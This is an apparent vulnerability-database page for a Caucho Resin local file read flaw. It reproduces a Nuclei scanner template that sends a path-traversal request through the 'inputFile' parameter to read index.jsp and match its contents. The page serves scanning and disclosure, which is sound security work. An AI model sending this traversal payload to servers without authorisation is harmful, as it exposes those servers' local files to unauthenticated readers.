resin-inputfile-fileread: Caucho Resin LFR

2025-08-01 Caucho Resin LFR PoC Public

Description

A vulnerability in Caucho Resin allows remote unauthenticated users to utilize the 'inputFile' variable to include the content of locally stored files and disclose their content.

PoC

id: resin-inputfile-fileread

info:
  name: Caucho Resin LFR
  author: princechaddha
  severity: high
  description: A vulnerability in Caucho Resin allows remote unauthenticated users to utilize the 'inputFile' variable to include the content of locally stored files and disclose their content.
  reference:
    - https://blkstone.github.io/2017/10/30/resin-attack-vectors/
  metadata:
    max-request: 1
  tags: resin,caucho,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
        part: body
# digest: 4b0a00483046022100a211b5d8551504ce85fce6cf4b71963da28de7a0fe9a7aad764fa267d089bbc3022100d841fce7ec4e90161b97399af18a2519436beceb28d6a00fa26db5c3abf91817:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/resin-inputfile-fileread.yaml

References

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